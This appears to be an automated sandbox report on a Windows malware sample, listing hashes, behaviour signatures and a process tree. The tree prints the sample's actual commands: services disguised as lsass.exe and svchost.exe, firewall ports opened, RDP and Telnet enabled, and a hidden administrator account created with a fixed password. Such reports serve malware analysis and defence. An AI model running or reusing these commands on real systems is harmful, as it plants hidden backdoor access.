Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    07-04-2024 00:17

General

  • Target

    e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe

  • Size

    1.2MB

  • MD5

    e3a04b3afb014a8d3a221873d65de82e

  • SHA1

    f33468a5614b981052212bdf9a2060eb54b9e52b

  • SHA256

    331e3adde8909777973f5e11c688fc3b9be605a4cf52f80171c23be73e94f894

  • SHA512

    4f0db7e6c49297770808844507a3ed29f326eb698f04f3175c890b55a023fd4898c808e2eb54b85951473f1997d9b27cb299cb92c96d93e782a228c044338bfb

  • SSDEEP

    24576:Ur28+fzWEEMQsBgNIMXm8Azq1H4mHpi2Lpp6+pzzf5aZK56zOKZAqYwnkYIg:Q+1QaB8YqG+JlzkzY6kYIg

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 2 TTPs 7 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Stops running service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Kills process with taskkill 1 IoCs
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:856
    • C:\Windows\SysWOW64\sc.exe
      sc stop "ProtocolWindows_ "
      2⤵
      • Launches sc.exe
      PID:2112
    • C:\Windows\SysWOW64\sc.exe
      sc delete "ProtocolWindows_ "
      2⤵
      • Launches sc.exe
      PID:2548
    • C:\Windows\SysWOW64\sc.exe
      sc stop "PlugAndPlay"
      2⤵
      • Launches sc.exe
      PID:2596
    • C:\Windows\SysWOW64\sc.exe
      sc delete "PlugAndPlay"
      2⤵
      • Launches sc.exe
      PID:2676
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ctfmon.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2612
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c ctfmon.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2628
      • C:\Windows\SysWOW64\ctfmon.exe
        ctfmon.exe
        3⤵
          PID:2528
      • C:\Windows\SysWOW64\sc.exe
        sc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore
        2⤵
        • Launches sc.exe
        PID:2568
      • C:\Windows\SysWOW64\sc.exe
        sc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "
        2⤵
        • Launches sc.exe
        PID:2896
      • C:\Windows\SysWOW64\netsh.exe
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" ENABLE
        2⤵
        • Modifies Windows Firewall
        PID:3056
      • C:\Windows\SysWOW64\sc.exe
        sc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" type= own start= auto error= ignore
        2⤵
        • Launches sc.exe
        PID:2792
      • C:\Windows\SysWOW64\REG.exe
        REG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" /f
        2⤵
        • Sets service image path in registry
        PID:3000
      • C:\Windows\SysWOW64\REG.exe
        REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f
        2⤵
          PID:3068
        • C:\Windows\SysWOW64\REG.exe
          REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f
          2⤵
            PID:2284
          • C:\Windows\SysWOW64\netsh.exe
            netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe" ENABLE
            2⤵
            • Modifies Windows Firewall
            PID:1600
          • C:\Windows\SysWOW64\netsh.exe
            netsh firewall add allowedprogram ctfmon.exe ENABLE
            2⤵
            • Modifies Windows Firewall
            PID:1476
          • C:\Windows\SysWOW64\netsh.exe
            netsh firewall add portopening protocol = TCP port = 3389 name = TCP
            2⤵
            • Modifies Windows Firewall
            PID:1728
          • C:\Windows\SysWOW64\netsh.exe
            netsh firewall add portopening protocol = TCP port = 31337 name = TCP
            2⤵
            • Modifies Windows Firewall
            PID:2724
          • C:\Windows\SysWOW64\netsh.exe
            netsh firewall add portopening protocol = TCP port = 80 name = TCP
            2⤵
            • Modifies Windows Firewall
            PID:1544
          • C:\Windows\SysWOW64\netsh.exe
            netsh firewall add portopening protocol = TCP port = 8080 name = TCP
            2⤵
            • Modifies Windows Firewall
            PID:1776
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe" -silent
            2⤵
            • Executes dropped EXE
            • Suspicious use of SetWindowsHookEx
            PID:2832
          • C:\Windows\SysWOW64\sc.exe
            sc start mnmsrvc
            2⤵
            • Launches sc.exe
            PID:2316
          • C:\Windows\SysWOW64\sc.exe
            sc Start TlntSvr
            2⤵
            • Launches sc.exe
            PID:540
          • C:\Windows\SysWOW64\sc.exe
            sc Start TermService
            2⤵
            • Launches sc.exe
            PID:804
          • C:\Windows\SysWOW64\net.exe
            net start FastUserSwitchingCompatibility
            2⤵
              PID:1064
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start FastUserSwitchingCompatibility
                3⤵
                  PID:1132
              • C:\Windows\SysWOW64\net.exe
                net start TermService
                2⤵
                  PID:3032
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 start TermService
                    3⤵
                      PID:1872
                  • C:\Windows\SysWOW64\REG.exe
                    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
                    2⤵
                      PID:924
                    • C:\Windows\SysWOW64\REG.exe
                      REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
                      2⤵
                        PID:2324
                      • C:\Windows\SysWOW64\net.exe
                        net user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
                        2⤵
                          PID:1660
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
                            3⤵
                              PID:1988
                          • C:\Windows\SysWOW64\net.exe
                            net localgroup Microsoft /add
                            2⤵
                              PID:448
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 localgroup Microsoft /add
                                3⤵
                                  PID:624
                              • C:\Windows\SysWOW64\net.exe
                                net localgroup Àäìèíèñòðàòîðû Microsoft /add
                                2⤵
                                  PID:864
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add
                                    3⤵
                                      PID:1088
                                  • C:\Windows\SysWOW64\net.exe
                                    net localgroup Administrators Microsoft /add
                                    2⤵
                                      PID:2972
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 localgroup Administrators Microsoft /add
                                        3⤵
                                          PID:1052
                                      • C:\Windows\SysWOW64\net.exe
                                        net accounts /maxpwage:unlimited
                                        2⤵
                                          PID:1712
                                          • C:\Windows\SysWOW64\net1.exe
                                            C:\Windows\system32\net1 accounts /maxpwage:unlimited
                                            3⤵
                                              PID:920
                                          • C:\Windows\SysWOW64\REG.exe
                                            REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f
                                            2⤵
                                              PID:1572

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

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                                          Downloads

                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe

                                            Filesize

                                            85KB

                                            MD5

                                            e0b8d7ad878eff7bdfba66d17665eb58

                                            SHA1

                                            ec4ab8ed9ca2ad06749851a76451108b4c608eba

                                            SHA256

                                            779a40fca7a3680a1dcbf08e53be5a63ce41564d452c3053f03e487c8de39952

                                            SHA512

                                            17e457940e4117cc7bd59e6743bf2877495201a3e277ef3133b6370f1148f54a85acc91ab6747b97c1f3beacc49a2fda01bdb89e3d7c6ff6ac76c801e15be650

                                          • \??\PIPE\samr

                                            MD5

                                            d41d8cd98f00b204e9800998ecf8427e

                                            SHA1

                                            da39a3ee5e6b4b0d3255bfef95601890afd80709

                                            SHA256

                                            e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                            SHA512

                                            cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                          • \Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe

                                            Filesize

                                            44KB

                                            MD5

                                            382cebd78ad354b1dfd91dc8176615f6

                                            SHA1

                                            5c734f779cf23cee4d7260a0eee3ce1ed888f1c0

                                            SHA256

                                            067f0765790c0e75c3774f4c5890ddacb8b99ecd6f80743d68aad9d34de8b445

                                            SHA512

                                            650a3be640baac30d3c36185048c6f4e5b2536cf0086b49386ea7149c7148cc1ce4f12c7832ddb2520677d67f15214b0c8e41c0eed5938b0283b1374f6bdd197

                                          • memory/856-26-0x0000000000400000-0x0000000000423000-memory.dmp

                                            Filesize

                                            140KB